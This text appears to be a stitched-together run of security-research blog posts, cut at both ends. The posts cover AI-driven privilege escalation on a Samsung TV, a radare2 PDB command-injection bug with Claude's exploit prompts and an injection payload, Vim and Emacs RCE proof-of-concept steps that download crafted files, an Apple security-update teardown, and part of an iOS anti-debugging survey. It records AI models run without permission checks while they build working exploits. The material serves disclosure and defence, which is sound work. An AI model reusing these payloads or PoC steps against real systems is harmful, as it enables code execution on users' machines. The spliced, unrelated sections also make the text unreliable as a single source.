uid=0(root) gid=0(root) groups=29(audio),44(video),100(users),201(display),1901(log),6509(app_logging),10001(priv_externalstorage),10502(priv_mediastorage),10503(priv_recorder),10704(priv_internet),10705(priv_network_get) context="User::Pkg::org.tizen.browser"

Codex's first preserved acknowledgment was:

By that point, the chain had already gone through surface selection, source audit, live validation, PoC development, target-specific build handling, remote deployment, execution under memfd, iterative debugging, and finally the credential overwrite that turned the browser shell into root.

The Bromance

In the course of driving Codex to the final destination, it definitely was about to go off-track if we did not steer it back immediately. Here are some of those real interactions:

Honestly, this makes it even more realistic than we thought. At times, it was a one-shot success, and at other times, you really need to build that real interaction with Codex. This couldn't have completed if we were treating it like a soulless bug finding and exploit developing machine!

Conclusion

What made the session worth documenting was the shape of the loop itself. We set up a control path into a compromised TV, gave it the matching source tree and a way to build and stage code, and from there the work became a repeated cycle of inspection, testing, adjustment, and rerun until the browser foothold turned into root on the device.

This experiment is part of a larger exercise. The browser shell wasn't magically obtained by Codex. We had already exploited the device to get that initial foothold. The goal here was narrower: given a realistic post-exploitation position, could AI take it all the way to root?

The next step is obvious (and slightly concerning): let the AI do the whole thing end-to-end. Hopefully it'll stay trapped inside the TV forever, quietly escalating privileges and watching our sitcoms.

Writeup and PoCs: https://github.com/califio/publications/blob/main/MADBugs/samsung-tv/.

—dp

The MAD Bugs series runs through April 2026. Full index at blog.calif.io/t/madbugs and github.com/califio/publications.

All times are in GMT+8 on 2026-04-06.

• 09:00 AM: First day at Calif

• 10:18 AM: Installed Claude Code

• 11:24 AM: Discovered vulnerability

• 11:48 AM: Generated RCE PoC

• 2:48 PM: Reported vulnerability

• 3:47 PM: Opened Fix PR

• 5:00 PM: Merged PR

The Target: radare2

radare2 (r2) is an open-source, CLI-based reverse engineering framework.

I decided to focus on reverse engineering tools for two reasons:

1. I actually use them. I even built an r2-based CTF challenge back in 2024.

2. Parsing and analyzing dozens of executable formats is hard. Historically, binary file parsing has been a rich source of bugs.

An unexpected bonus was the radare2 team’s very public disclosure policy: security bugs are reported directly on GitHub Issues, just like any other bug. Combined with their rapid triage and patch turnaround, this made for one of the shortest bug-to-patch cycles I’ve ever experienced.

Vulnerability Discovery: Prompt Commentary

Setup was simple: a fresh clone of radare2 from GitHub, and Claude Code running with --dangerously-skip-permissions. The model was Claude Opus 4.6 (1M context) with high effort.

Below, I’ll walk through the prompts I used, explain the reasoning behind each one, and describe how Claude responded.

Me: Users are reporting that they have experienced unplanned code execution when analyzing untrusted binaries with this project. Figure out how this has happened.

Previous MAD Bugs posts had success with an incident-response-style prompt, so I went with something similar here.

Claude came back with 5 bugs. They looked plausible, but all of them required non-standard configurations or explicit user approval. I followed up to narrow the scope:

Me: The users are using default configuration with no projects. They did not perform any suspicious actions either. Assess for memory corruption bugs or other more complex vectors

This time, Claude reported 7 “Confirmed Exploitable Vectors,” including 3 “Critical” heap and integer overflows. Naturally, I was skeptical, so I asked it to:

Me: Develop a poc for the unpatched vulnerabilities. Determine if an attacker could have bypassed the patches for the known bugs

The second sentence referenced some recently patched N-days it had found in the Git history, which had been fixed by applying the r_str_sanitize function to sanitize untrusted input.

Claude struggled to prove, let alone exploit, the memory corruption vulnerabilities. It did appear to be making progress on a “heap leak” issue, though, so I gave it a nudge:

Me: What if you built radare with asan to help with the exploit debugging

Me: Assess the exploitability of the vulnerabilities. The attacker must be able to achieve full code execution just by the user loading a binary for analysis

Unfortunately, ASAN revealed that the “heap leak” was just a memory leak, not any kind of information disclosure bug:

==44349==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 48 byte(s) in 1 object(s) allocated from:

Time to reset expectations and point Claude toward a more promising direction:

Me: Memory leak is not a vulnerability. Show a vulnerability with real impact, such as heap overflow. Also, dig deeper into r_str_sanitize and where it should be used but is missing. Explain the impact of those vulns

Claude tried hard to exploit various stack and heap buffer overflows, but failed to trigger a single ASAN crash. It had, however, developed a solid understanding of the command injection N-days, so I redirected:

Me: Focus on command injection. Find another vulnerability.

Watching Claude’s thoughts stream rapidly across my screen didn’t inspire much confidence.

It seemed like we were running out of leads. Then this appeared:

Let me now look for the ONE remaining angle: the RAD-mode output that gets executed via . (dot) commands. Let me look for “.i” patterns in automatic loading:

Soon, we went from “it’s over” to “we are so back”:

Confirmed: line 1458 is the only RAD-mode cb_printf with an unsanitized binary-derived string. The vulnerability is clear:
...
Impact: Full code execution when a user opens a PE binary that has a crafted PDB file in the PDB search path. Default configuration, no user interaction beyond r2 binary.exe.
Fix: Sanitize name before interpolation at line 1458, using r_name_filter_dup() or r_str_sanitize().

This looked very plausible. I asked Claude to:

Me: Generate a test .exe and .pdb file. Prove that the vulnerability is real and exploitable

To do this, Claude had to construct a valid PDB file containing a malicious symbol name. PDB is a relatively complex binary format, so this took some time.

At this point, I was fairly confident we were in the home stretch. I offered one last hint:

Me: Can you use any libraries to build the pdb? Maybe that will be easier

But Claude didn’t need it. Shortly after, we had the proof:

Arbitrary shell command execution confirmed. A crafted debug.pdb file alongside a PE binary causes !echo PWNED>/tmp/r2_poc_output to execute when the user runs idp in radare2. The output file /tmp/r2_poc_output contains PWNED.

One final prompt to wrap things up:

Me: Great job! Now, generate a report for this vulnerability. Also create a poc.py, which takes --cmd and generates the target.exe and .pdb file that executes the given command

Total context used was 352.4k/1M tokens.

Vulnerability Analysis

PDB files contain symbols: mappings between function names and their addresses. Knowing where functions live is incredibly helpful for malware analysis, so r2 has several commands that parse and display this information.

There’s the idpi command, which prints the symbols available:

[0x140001000]> idpi
0x140001000  0  .text  my_cool_function

And there’s idpi*, which prints the r2 commands needed to convert symbol information into flags — essentially labels for addresses in r2.

[0x140001000]> idpi*
f pdb.my_cool_function = 0x140001000 # 0 .text
“fN pdb.my_cool_function my_cool_function”

The f command creates a flag (an offset-name mapping) at an address, and fN sets its “real name” — the original, unsanitized display name stored separately from the flag’s identifier.

Finally, there’s idp, which is actually an alias for .idpi*. The dot prefix means “run this command, then execute the output”.

You can probably see where this is going, so let’s just jump right into the implementation of the idpi* command:

// pdb.c:1451 – filtered_name is sanitized via r_name_filter_dup()
filtered_name = r_name_filter_dup (r_str_trim_head_ro (name));
// pdb.c:1452 – safe: filtered_name in flag creation
pdb->cb_printf (”f pdb.%s = 0x%” PFMT64x “ # %d %.*s\n”, filtered_name, ...);
// pdb.c:1458 – VULNERABLE: raw `name` from PDB binary data, NOT sanitized
pdb->cb_printf (”\”fN pdb.%s %s\”\n”, filtered_name, name);

By crafting a PDB with a function name like x” ;!open -a Calculator #”, we can break out of the double-quoted command and inject arbitrary r2 commands. Since r2 supports executing system commands, RCE follows trivially.

[0x140001000]> idpi*
f pdb.x____open__a_Calculator_ = 0x140001000 # 0 .text
“fN pdb.x____open__a_Calculator_ x” ;!open -a Calculator #”

PoC

Code: poc.py

Patch Development: Prompt Commentary

In a fresh Claude Code session, I started off with:

Me: Read the poc and report. Determine when the bug was introduced and produce a patch commit, along with tests that prevent a regression of this bug

The first patch Claude generated fixed the vulnerability, but it broke functionality as well:

-	pdb->cb_printf (”\”fN pdb.%s %s\”\n”, filtered_name, name);
+	char *safe_name = r_name_filter_dup (name);
+	pdb->cb_printf (”\”fN pdb.%s %s\”\n”, filtered_name, safe_name);
+	free (safe_name);

With that patch applied, the output of idpi* would be:

[0x140001000]> idpi*
f pdb.x____open__a_Calculator_ = 0x140001000 # 0 .text
“fN pdb.x____open__a_Calculator_ x____open__a_Calculator_”

However, this also strips special characters from legitimate function names, such as std::ostream::operator<<(std::ostream& (*)(std::ostream&)):

[0x140001440]> idpi*
f pdb.std::ostream::operator___std::ostream____std::ostream__ = 0x1400014c0 # 0 .text
“fN pdb.std::ostream::operator___std::ostream____std::ostream__ std::ostream::operator___std::ostream____std::ostream__”

Thus, I got Claude to reconsider:

Me: What is the intent of the fN command and does the fix affect its intend behavior?

Me: This is a critical problem. if we sanitize the real name, then this is useless. How can we properly address it?

Claude came back with a clean solution: base64-encode the raw name before interpolation.

Here's what I found. There are two viable approaches:

Option 1: Add base64: support to fN (matches existing pattern)

The flag system already uses base64 in several places:
- fC (flag comment) accepts base64: prefix and decodes it at
cmd_flag.inc.c:2085
- fu serializes realname as base64 at line 1536, and decodes it back at line
1517

But fN itself (line 2163) does not support the base64: prefix — it takes the
raw string directly via strchr(name, ' ') and passes it straight to
r_flag_item_set_realname.

The fix would be two-sided:

1. Emit side (print_gvars): base64-encode the raw name
2. Receive side (fN handler): detect and decode base64: prefix

This is the cleanest approach because it completely avoids the parsing problem
— base64 output contains only [A-Za-z0-9+/=], which has zero overlap with r2
metacharacters.

Satisfied with the approach, I opened a PR with Claude’s changes and waited for the maintainers to respond.

Resolution

About an hour later, a maintainer pointed out that the vulnerability could be fixed more simply — by prefixing the fN command with a single quote (’), which disables special character processing in r2.

# Safe - no calc popped
‘fN pdb.x____open__a_Calculator_ x;!open -a Calculator #

Nonetheless, they recognized it as a real and critical vulnerability, and agreed that the base64 prefix was a worthwhile addition.

The PR was merged, and string sanitization was further enhanced in a follow-up commit — likely part of a broader effort to address the spate of recent command injection vulnerabilities.

Conclusion

We are now in an era where AI can rapidly discover and exploit bugs in large, complex open-source projects. Constructing a valid PDB file would have taken me at least a few hours manually. Claude did it in under 30 minutes.

That said, finding bugs is the easy part. Claude just needs to identify a possible injection site, trace how to reach it, and develop a PoC it can verify and iterate on.

Patching is harder. It requires a much deeper understanding of the project, not just where the vulnerability occurs, but why the surrounding code is designed the way it is. In this case, Claude’s first patch was technically correct but semantically wrong: it fixed the injection without understanding what fN was actually for. It took explicit pushback to get to a solution that was both safe and useful.

That dynamic is worth keeping in mind. AI-assisted vulnerability research compresses the timeline dramatically, but the human still has to understand the system well enough to know when a fix is incomplete. The bottleneck has shifted, from finding bugs to understanding them well enough to fix them properly.

—junrong

PoC:

vim -version
# VIM - Vi IMproved 9.2 (2026 Feb 14, compiled Mar 25 2026 22:04:13)
wget https://raw.githubusercontent.com/califio/publications/refs/heads/main/MADBugs/vim-vs-emacs-vs-claude/vim.md
vim vim.md
cat /tmp/calif-vim-rce-poc

Vim maintainers fixed the issue immediately. Everybody is encouraged to upgrade to Vim v9.2.0272.

Full advisory can be found here. The original prompt was simple:

Somebody told me there is an RCE 0-day when you open a file. Find it.

This was already absurd. But the story didn’t end there:

PoC:

wget https://github.com/califio/publications/raw/refs/heads/main/MADBugs/vim-vs-emacs-vs-claude/emacs-poc.tgz
tar -xzpvf emacs-poc.tgz
emacs emacs-poc/a.txt
cat /tmp/pwned

We immediately reported the bug to GNU Emacs maintainers. The maintainers declined to address the issue, attributing it to git.

Full advisory can be found here. The prompt this time:

I’ve heard a rumor that there are RCE 0-days when you open a txt file without any confirmation prompts.

---

So how do you make sense of this?

How do we professional bug hunters make sense of this? This feels like the early 2000s. Back then a kid could hack anything, with SQL Injection. Now with Claude.

And friends, to celebrate this historic moment, we’re launching MAD Bugs: Month of AI-Discovered Bugs. From now through the end of April, we’ll be publishing more bugs and exploits uncovered by AI. Watch this space, more fun stuff coming!

With iOS 26.1, iPadOS 26.1, and macOS 26.1, Apple replaced RSR with Background Security Improvements (BSI). The big change: BSI installs silently.

On March 17, 2026, Apple shipped four BSI updates across iOS, iPadOS, and macOS.

| Platform | Version    | Build      |
+----------+------------+------------+
| iOS      | 26.3.1 (a) | 23D771330a |
| iPadOS   | 26.3.1 (a) | 23D771330a |
| macOS    | 26.3.2 (a) | 25D771400a |
| macOS    | 26.3.1 (a) | 25D771280a |
+----------+------------+------------+

I grabbed the iOS update, tore it apart with ipsw, and diffed it against the base OS to see what actually changed.

This post walks through how BSI updates work under the hood. More importantly, it shows what Apple actually shipped: one publicly disclosed WebKit CVE, and at least two additional security-relevant changes that didn’t make it into the advisory.

How BSI differs from RSR

Both target the same thing: security patches for Safari, WebKit, and system libraries without a full OS update. Under the hood, both work by patching cryptexes. If you haven’t run into these before: Apple moved content eligible for rapid patching (Safari, WebKit, system libs) into sealed disk images on the preboot volume, split into system and app subtypes. When an update arrives, the device applies a binary diff to the relevant cryptex image, then asks Apple’s signing service for a new Cryptex1Image4 manifest. The main application processor (AP) boot ticket stays untouched. On restart, the kernel bootstraps the patched content with new measurements and trust caches. That’s why these updates work with minimal battery and no re-sealing; they’re patching a sidecar image, not the root filesystem. Apple’s security docs have the full picture.

The following table summarizes the changes between RSR and BSI:

The versioning scheme carries over: a BSI applied on top of iOS 26.3 becomes iOS 26.3.1 (a). These are cumulative, so the next full update (say, iOS 26.4) absorbs all prior BSI fixes.

I will now show you how to analyze the BSI with ipsw.

Downloading a BSI with ipsw

Same as RSR. Use the --rsr flag with the prerequisite --build:

❯ ipsw dl ota --platform ios \
              --rsr \
              --device iPhone17,1 \
              --build 23D8133 \
              --output /tmp/BSI
   • Getting iOS 26.3.1 OTA    build=23D771330a device=iPhone17,1
     encrypted=true key=ER+89JD/fR9xK0MwXhPHfkmPRMnAxBNkOF5v8nfGzk0=
     model=D93AP type=iOS2631BetaBSI
        26.50 MiB / 26.50 MiB [==============================| ✅ ] 30.58 MiB/s

26.5 MiB total. A full OTA is 3-17 GB. That size difference is the whole point: small, targeted patches to the cryptex volumes.

The --build flag is the prerequisite build (the base OS the BSI patches on top of), not the BSI build itself. Find the latest build with:

❯ ipsw download ota --platform ios --device iPhone17,1 --show-latest-build

Inspecting the BSI OTA

❯ ipsw ota info <BSI>.aea

[OTA Info]
==========
Version        = 26.3.1 (a)
BuildVersion   = 23D771330a
OS Type        = SplatPreRelease
SystemOS       = 043-61970-021.dmg
AppOS          = 043-62774-021.dmg
RestoreVersion = 23.4.133.77.1,0
PrereqBuild    = 23D8133
IsRSR          = ✅

Devices
-------
 > iPhone17,1_23D771330a

PrereqBuild = 23D8133 tells you this is a delta on top of iOS 26.3 build 23D8133. The IsRSR flag is still there because internally Apple still calls this the “Splat” system (SplatOnly in asset metadata). Two separate cryptex DMGs get patched: SystemOS for frameworks and AppOS for apps.

What’s in the package

❯ ipsw ota ls <BSI>.aea -V -b

AssetData/
├── Info.plist                                          # 1.7 kB
├── boot/
│   ├── BuildManifest.plist                             # 19 kB
│   ├── Firmware/
│   │   ├── 043-61970-021.dmg.root_hash                # 229 B
│   │   ├── 043-61970-021.dmg.trustcache               # 2.7 kB
│   │   ├── 043-62774-021.dmg.root_hash                # 229 B
│   │   └── 043-62774-021.dmg.trustcache               # 407 B
│   ├── Restore.plist
│   ├── RestoreVersion.plist
│   └── SystemVersion.plist
├── payload.bom                                         # 38 kB
├── payload.bom.signature
├── payloadv2.bom                                       # 38 kB
├── payloadv2.bom.signature
└── payloadv2/
    ├── image_patches/
    │   ├── cryptex-app                                 # 39 kB
    │   ├── cryptex-app-rev                             # 39 kB
    │   ├── cryptex-system-arm64e                       # 15 MB
    │   └── cryptex-system-arm64e-rev                   # 15 MB
    ├── data_payload                                    # 12 B
    ├── firmlinks_payload                               # 0 B
    ├── fixup.manifest
    ├── links.txt                                       # 0 B
    ├── payload.000                                     # 78 B
    ├── payload.000.ecc                                 # 123 B
    ├── payload_chunks.txt
    ├── prepare_payload                                 # 12 B
    └── removed.txt                                     # 0 B

Almost everything interesting is in payloadv2/image_patches/. cryptex-system-arm64e at 15 MB is the binary patch for the system cryptex (WebKit, Safari, system libraries). cryptex-app at 39 KB patches the app cryptex. The -rev variants are reverse patches for rolling back a BSI to the base OS state.

Under boot/Firmware/, the .root_hash and .trustcache files bind the patched cryptexes into the device’s Secure Boot chain via a separate Cryptex1Image4 manifest.

Patching the cryptex volumes

To apply the patches and get mountable DMGs, use ipsw ota patch rsr. You need the base OTA’s cryptex volumes first, so download the prerequisite OTA (the 7.81 GiB one):

❯ ipsw dl ota --platform ios --device iPhone17,1 --build 23D8133 --output /tmp/OTAs/
   • Getting iOS 26.3.1 OTA    build=23D8133 device=iPhone17,1
     encrypted=true key=P1OahXDSqR+X5Lc63VFT9JDZFtR6cHtIc+ryyJ9kuLs=
     model=D93AP type=iOS2631Long
      • URL resolved to: 17.253.27.196 (Apple Inc - Chicago, IL. United States)
        7.81 GiB / 7.81 GiB [==============================| ✅ ] 59.81 MiB/s

Extract the base cryptex volumes from it:

❯ ipsw ota patch rsr <base_ota>.aea --output /tmp/PATCHES/
   • Patching cryptex-app to /tmp/PATCHES/23D8133__iPhone17,1/AppOS/094-25810-058.dmg
   • Patching cryptex-system-arm64e to /tmp/PATCHES/23D8133__iPhone17,1/SystemOS/094-26339-058.dmg

Now apply the BSI patch on top:

❯ ipsw ota patch rsr --input /tmp/PATCHES/23D8133__iPhone17,1/ \
                      --output /tmp/PATCHES/ \
                      <BSI>.aea
   • Patching cryptex-app to /tmp/PATCHES/23D771330a__iPhone17,1/AppOS/043-62774-021.dmg
   • Patching cryptex-system-arm64e to /tmp/PATCHES/23D771330a__iPhone17,1/SystemOS/043-61970-021.dmg

You now have the patched cryptex DMGs. Mount and poke around:

❯ open /tmp/PATCHES/23D771330a__iPhone17,1/SystemOS/043-61970-021.dmg
❯ find /Volumes/*Cryptex*/ -name “dyld_shared_cache*”

NOTE: ipsw ota patch rsr requires macOS 13+ because it calls RawImagePatch in libParallelCompression.dylib to apply the binary image diffs. This is a private API I reversed with no public header.

Diffing the BSI

Now the fun part. I’ve updated ipsw diff to work directly with patched OTA directories:

❯ ipsw diff /tmp/PATCHES/23D8133__iPhone17,1 \
            /tmp/PATCHES/23D771330a__iPhone17,1 \
            --files --output /tmp/DIFF --markdown
   • Mounting patched OTA DMGs
   • Mounting ‘Old’ patched OTA DMGs
   • Mounting AppOS DMG
      • Mounting /tmp/PATCHES/23D8133__iPhone17,1/AppOS/094-25810-058.dmg
   • Mounting SystemOS DMG
      • Mounting /tmp/PATCHES/23D8133__iPhone17,1/SystemOS/094-26339-058.dmg
   • Mounting ‘New’ patched OTA DMGs
   • Mounting AppOS DMG
      • Mounting /tmp/PATCHES/23D771330a__iPhone17,1/AppOS/043-62774-021.dmg
   • Mounting SystemOS DMG
      • Mounting /tmp/PATCHES/23D771330a__iPhone17,1/SystemOS/043-61970-021.dmg
   • Diffing DYLD_SHARED_CACHES
   • Diffing MachOs
   • Diffing Files
   • Creating diff file Markdown README

It mounts both sets of cryptex DMGs, diffs the dyld_shared_cache, individual MachOs, and the file trees, then writes a Markdown report. The full diff output is on GitHub.

NOTE: ipsw diff operates at the symbol level, not the instruction level. It reports added/removed symbols, function count changes, and section size deltas -- but it will miss changes inside a function whose signature didn’t change. For example, the CVE-2026-20643 fix added 46 instructions to innerDispatchNavigateEvent without changing its symbol name, so the diff report doesn’t flag it at all. To catch those, you need to decompile the actual functions (IDA Pro, Ghidra, or ipsw dsc disass --dec, for now 😏) and compare the pseudocode. The diff is a great starting point for triage, but it’s not the full picture.

So what did Apple actually change?

WebKit version bump
+----------------------+--------------+
|                      | Version      |
+----------------------+--------------+
| Base (23D8133)       | 623.2.7.10.4 |
| BSI (23D771330a)     | 623.2.7.110.1|
+----------------------+--------------+

That’s the Safari/WebKit version going from 7623.2.7.10.4 to 7623.2.7.110.1.

NOTE: Normally ipsw dsc webkit --git resolves a DSC’s WebKit version to the exact public git tag on github.com/WebKit/WebKit, giving you a clean git diff between two tags. Here, neither version had an exact match and both fell back to the closest tag WebKit-7623.1.14.14.11 from November 2025. My guess is Apple ships BSI builds from an internal branch that never gets tagged publicly. I had to find the fix commit manually (more on that below).

Updated binaries in AppOS (6)

All Safari-related:

• AuthenticationServicesAgent: handles web authentication flows

• com.apple.Safari.History

• passwordbreachd: checks passwords against breach databases

• safarifetcherd: prefetching/background loading

• webbookmarksd: bookmark sync daemon

• webinspectord: Web Inspector remote debugging

Every one got the same version bump 7623.2.7.10.4 -> 7623.2.7.110.1). The changes are mostly in __TEXT.__info_plist sizes (a few bytes larger) and new UUIDs. The actual code sections didn’t change in these binaries, so the AppOS patch is just version metadata and plist updates.

Updated dylibs in the dyld_shared_cache (6)

The dyld_shared_cache is where the actual code changes live. Six dylibs changed:

1. WebCore

2. libANGLE-shared.dylib

3. WebGPU

4. ProductKit

5. ProductKitCore

6. SettingsFoundation.

I opened both DSC versions in IDA Pro (using open_dsc to load individual modules) and decompiled the changed functions.

CVE-2026-20643: Navigation API Same-Origin bypass

Apple’s security advisory describes one fix:

WebKit -- A cross-origin issue in the Navigation API was addressed with improved input validation.

CVE-2026-20643 -- Thomas Espach

The Navigation API window.navigation) lets JavaScript intercept and control navigations within a page. The property that matters here is NavigateEvent.canIntercept because it tells a script whether it’s allowed to intercept a given navigation. The spec says it should be false when the document URL and target URL differ in scheme, username, password, host, or port.

The source fix

Since WebKit is open source, I tracked down the public trail:

• PR: WebKit/WebKit#58094 -- “NavigationEvent#canIntercept is true when navigating to a different port”

• Bugzilla: Bug 307197 -- reported by Dom Christie on 2026-02-06, fixed by Ahmad Saleem

• Commit: 850ce3163e55

• Shipped in: Safari Technology Preview 238

Apple’s CVE advisory references a different bug number (Bugzilla #306050, which is private). Bug 307197 is either the public duplicate or the upstream report that the security-track bug was filed against.

The fix is in Source/WebCore/page/Navigation.cpp, function documentCanHaveURLRewritten():

 static bool documentCanHaveURLRewritten(const Document& document, const URL& targetURL)
 {
     // ...existing isSameSite and isSameOrigin checks...
     if (!isSameSite && !isSameOrigin)
         return false;
+    // https://html.spec.whatwg.org/multipage/nav-history-apis.html#can-have-its-url-rewritten
+    if (documentURL.protocol() != targetURL.protocol()
+        || documentURL.user() != targetURL.user()
+        || documentURL.password() != targetURL.password()
+        || documentURL.host() != targetURL.host()
+        || documentURL.port() != targetURL.port())
+        return false;
+
     if (targetURL.protocolIsInHTTPFamily())
         return true;

You might wonder: doesn’t isSameOriginAs already check the port? It does. Looking at the source, isSameOriginAs() calls isSameSchemeHostPort(), which compares scheme, host, and port.

The problem is the boolean logic upstream of this function. The caller in documentCanHaveURLRewritten() combined both checks with AND: if (!isSameSite && !isSameOrigin) return false. Since localhost:3000 and localhost:3001 share the same registrable domain and scheme, isSameSiteAs returns true. That short-circuits the AND so the isSameOriginAs result never matters. The function falls straight through to return true for any HTTP URL.

Confirming in the binary

I confirmed this by decompiling WebCore::Navigation::innerDispatchNavigateEvent (at 0x1a1307304) from both DSC versions in IDA Pro.

The base version calls two origin checks joined by AND:

// BASE innerDispatchNavigateEvent (23D8133 DSC)
isSameSiteAs = SecurityOrigin::isSameSiteAs(docOrigin, navOrigin);
isSameOriginAs = SecurityOrigin::isSameOriginAs(docOrigin, navOrigin);
if ((isSameSiteAs & 1) == 0 && !isSameOriginAs)
    isCrossOrigin = true;  // only blocked if BOTH fail

The patched version drops isSameSiteAs and adds explicit URL component comparison instead:

// PATCHED innerDispatchNavigateEvent (23D771330a DSC)
if (SecurityOrigin::isSameOriginAs(docOrigin, navOrigin)) {
    docHost = URL::host(documentURL);
    navHost = URL::host(targetURL);
    if (String::equal(docHost, navHost)) {
        docPort = URL::port(documentURL);
        navPort = URL::port(targetURL);
        isCrossOrigin = !String::equal(docPort, navPort);
    } else {
        isCrossOrigin = true;
    }
} else {
    isCrossOrigin = true;
}

The function grew by 46 ARM64 instructions (1243 -> 1289). The isSameSiteAs call was deleted entirely.

What does this mean in practice? A page on http://localhost:3000 could intercept navigations targeting http://localhost:8080. These are different ports and origins but WebKit lets it through. In a shared-hosting or multi-tenant setup, that’s cross-origin state manipulation.

What Apple didn’t disclose

The CVE covers the Navigation API fix. But this BSI also shipped two other changes that aren’t in the advisory 🙂.

WebGL integer overflow in ANGLE

libANGLE-shared.dylib (Apple’s Metal-backed ANGLE for OpenGL ES) changed the ProvokingVertexHelper::generateIndexBuffer and preconditionIndexBuffer methods. The parameter types narrowed from size_t (64-bit) to int/unsigned int (32-bit), and both functions grew in size generateIndexBuffer went from 680 to 772 bytes per IDA; preconditionIndexBuffer grew similarly per the symbol diff).

I decompiled generateIndexBuffer from both DSC versions in IDA Pro. Here’s the relevant section, side by side.

Base (23D8133, size_t parameters, no overflow check):

LODWORD(v18) = a4 & ~(a4 >> 31);
v36 = v18;
v20 = 2 * v18;   // index count — no overflow check
// ... v20 flows directly into buffer allocation size

Patched 23D771330a, int parameters, overflow guard added):

LODWORD(v34) = a4;
v20 = 2LL * a4;    // widen to 64-bit before multiply
v35 = v20;
// ... then before using the result:
if (HIDWORD(v20))  // upper 32 bits non-zero → overflow
{
    handleError(a2, GL_INVALID_OPERATION,
        “Integer overflow.”,
        “.../ProvokingVertexHelper.mm”,
        “generateIndexBuffer”, 217);
    return 1;
}

In the base version, 2 * vertexCount uses size_t arithmetic so a large enough input wraps silently and the buffer allocation comes out too small. After the fix, the multiply widens to 64-bit first 2LL * a4), then checks the upper 32 bits. Non-zero means overflow, and the function bails with GL_INVALID_OPERATION instead of allocating a short buffer.

In the Metal rendering path, an undersized index buffer means an out-of-bounds GPU read during WebGL draw calls. The new assertion strings (generateIndexBuffer”, preconditionIndexBuffer”, and the ANGLE source path) confirm this was an intentional hardening pass, not just a type cleanup.

ServiceWorker registration lifetime hardening

WebCore dropped 6 functions and 14 symbols, all in the ServiceWorker server implementation:

• HashMap<ProcessQualified<UUID>, WeakRef<SWServerRegistration>> replaced with HashMap<..., Ref<SWServerRegistration>> (weak -> strong references)

• SWServerRegistration changed from RefCountedAndCanMakeWeakPtr to plain RefCounted (weak pointer support removed)

• SWServerJobQueue::cancelJobsFromServiceWorker removed entirely

• Several hash map lookup/removal helpers for ProcessQualified<UUID> maps were removed

With the WeakRef-Ref change, the server’s registration map holds a strong reference to each SWServerRegistration, so the registration can’t be deallocated while something still points at it. The cancelJobsFromServiceWorker removal suggests the job cancellation logic moved elsewhere. This is the kind of change you make when weak references can dangle in a concurrent context.

Unlike the Navigation API fix, this change hasn’t landed on public WebKit main; as of this writing, SWServerRegistration still inherits from RefCountedAndCanMakeWeakPtr, m_scopeToRegistrationMap still uses WeakRef, and cancelJobsFromServiceWorker still exists. This is an Apple-internal patch, visible only in the BSI binary. The evidence here comes entirely from symbol-level diffing and decompilation, not source.

Non-security changes

ProductKit and ProductKitCore both went down in version 129.400.11.2.4 -> 129.400.11.2.2), removed device model strings for unannounced hardware (Mac17,6-Mac17,9; iPad16,8-iPad16,11), and got slightly smaller. These were likely pulled into the BSI as dependencies of the WebKit rebuild.

SettingsFoundation removed the _SFDeviceSupportsRFExposure2026OrLater function and associated RF_INTRO_IPHONE_2026” string. RF exposure regulatory check removed or consolidated elsewhere.

WebGPU gained one new symbol Vector<pair<AST::Function*, String>>::expandCapacity). This is a template instantiation pulled in by the WebKit rebuild, not a functional change.

File changes

Only .fseventsd journal entries rotated. No actual filesystem content was added or removed.

Conclusion

Apple’s first BSI shipped one fix for CVE-2026-20643 and two they didn’t mention. The CVE fix was a six-line fix to a URL component comparison that the spec already required. It is the kind of bug where you read the spec, read the code, and wonder how it shipped without the check. The ANGLE integer overflow and ServiceWorker lifetime hardening are arguably more interesting: one is a WebGL-reachable memory safety issue, the other plugs a dangling-reference hole in a concurrent subsystem. Neither made the advisory.

The BSI delivery itself worked as advertised. 26.5 MiB, two cryptex DMGs, no user interaction. If you want to do this kind of teardown yourself: ipsw ota patch rsr gets you mountable DMGs, ipsw diff gives you the symbol-level triage, and IDA on the extracted DSC modules gets you pseudocode to confirm what actually changed. The full diff is on GitHub.

—blacktop

1. The App That Exploited iOS Side Channels

2. The App That Checked Itself

3. The App That Killed Itself on Attach

4. The App That Ruined Its Own Crash Logs

5. The App That Let iOS Do the Killing

6. The App That Kept Checking

7. Conclusion

This journey started from a mix of curiosity and convenience. Some of us wanted to push a game a bit further and show off a better score. At the same time, as part of red team work, we were interested in how banking apps handled money behind the scenes. The goal was simple: attach a debugger, observe behavior, and figure out how things worked.

That did not always go as expected.

Some apps would exit immediately. Others ran for a while, then failed later without any clear reason. In a few cases, there was no usable crash at all. Each app behaved differently, but after going through enough of them, the same patterns kept showing up.

Developers of these apps are not relying on a single check anymore. They combine multiple techniques to make inspection harder and modification unreliable, even on non-jailbroken devices. The techniques themselves are not new. What stands out is how they are layered together and how early they are applied. Over time, it becomes less about a single protection and more about how they interact.

This article walks through a set of these techniques and how they show up in practice on iOS apps.

1. The App That Exploited iOS Side Channels

One app we looked at would fail before any meaningful logic executed. With no debugger attached and no modifications in place, the app still exits immediately on launch.

It turned out the app was performing early environment checks by relying on side-channel signals rather than explicit APIs. It called into a private system API and used the return behavior to infer whether certain apps were installed on the device. If anything suspicious showed up, it stopped there.

A notable case involved a banking application that used the private API SBSLaunchApplicationWithIdentifierAndURLAndLaunchOptions. It did not use the API for its intended purpose. Instead, it inspected the return logs as a side channel. By doing this, it could detect the presence of applications commonly associated with modified environments, based on bundle identifiers such as com.opa334.TrollStore, org.coolstar.SileoStore, com.tigisoftware.Filza, and others. If any of these were detected, the app assumed the device was not trustworthy and refused to proceed.

This specific behavior was later addressed by Apple in iOS 18.5 (CVE-2025-31207), but the pattern is still relevant.

Technique: Pre-execution environment checks

• Query system APIs, including undocumented ones, for indirect signals

• Use side-channel behavior such as API return logs to detect installed applications

• Detect presence of known tools via bundle identifiers

2. The App That Checked Itself

Some apps go further and verify their own state before doing anything useful.

A common approach, especially in games, is to query code signing state using csops(). In particular, checking CS_OPS_ENTITLEMENTS_BLOB allows the app to retrieve its own entitlements. Unexpected entitlements can indicate a modified or non-standard environment. This gives the app another signal to decide whether it is running on a jailbroken device.

Some apps also verify their own integrity before continuing. This includes computing hashes such as CRC32 or MD5 across application data and checking the signing certificate of the installed IPA. Structures like LC_ENCRYPTION_INFO_64 are used to detect whether the app has been re-signed or altered.

Technique: Pre-execution environment checks

• Use csops() with CS_OPS_ENTITLEMENTS_BLOB to inspect entitlements and infer jailbreak state

• Perform file integrity checks using CRC32 and MD5

• Validate signing certificates and detect re-signing via LC_ENCRYPTION_INFO64

3. The App That Killed Itself on Attach

Another pattern shows up once you try to attach a debugger: the app exits immediately.

